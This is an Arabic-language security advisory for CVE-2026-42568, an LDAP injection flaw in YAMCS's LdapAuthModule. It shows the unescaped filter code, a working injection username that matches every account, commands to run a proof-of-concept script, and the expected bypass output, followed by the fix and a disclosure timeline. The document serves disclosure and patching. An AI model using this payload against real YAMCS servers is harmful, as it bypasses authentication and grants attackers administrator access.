
توجد ثغرة حقن LDAP في org.yamcs.security.LdapAuthModule. يتم إدراج معلمة اسم المستخدم مباشرة في مرشحات بحث LDAP دون ترميز RFC 4515، مما يسمح بتجاوز المصادقة.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-42568 |
| الخطورة | MEDIUM |
| CWE | CWE-90: تحييد غير صحيح للعناصر الخاصة في استعلام LDAP |
| المتأثر | yamcs-core < 5.12.7 (مع تكوين مصادقة LDAP) |
| الإصلاح في | yamcs-core 5.12.7 |
| الإعلان | GHSA-cqh3-jg8p-336j |
السبب الجذري (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
مع userFilter نموذجي مثل (uid={0})، يقوم اسم مستخدم ضار بتدمير بنية المرشح:
Input: *)(uid=*))(|(uid=*
Filter: (uid=*)(uid=*))(|(uid=*)
Result: Universal match — authentication bypassed
pip install requests
python3 poc.py http://localhost:8090
المخرج المتوقع على نسخة قابلة للاختراق (مع تكوين LDAP):
[1] Universal bypass (any account)
Username: *)(uid=*))(|(uid=*
Password: anything
Result: HTTP 200
[!!!] AUTHENTICATION BYPASSED
[!!!] Token received: eyJhbGciOiJSUzI1NiJ9...
ملاحظة: تؤثر هذه الثغرة فقط على حالات YAMCS التي تم تكوين
LdapAuthModuleفيها. التثبيتات الافتراضية التي تستخدم المصادقة المدمجة غير متأثرة.
يمكن لمهاجم غير مصادق يمكنه الوصول إلى خادم YAMCS تجاوز المصادقة بالكامل عند تكوين LDAP، والحصول على وصول كمستخدم عشوائي بما في ذلك المسؤولين.
قم بالترقية إلى yamcs-core >= 5.12.7. يطبق الإصلاح هروب RFC 4515 على اسم المستخدم قبل إنشاء عامل تصفية LDAP.
| التاريخ | الحدث |
|---|---|
| 2026-05 | تم الإبلاغ عن الثغرة |
| 2026-05-26 | تم إصدار الإصلاح في yamcs-core 5.12.7 |
| 2026-05-26 | تم نشر الإعلان العام |
Daniel Miranda Barcelona (Excal1bur)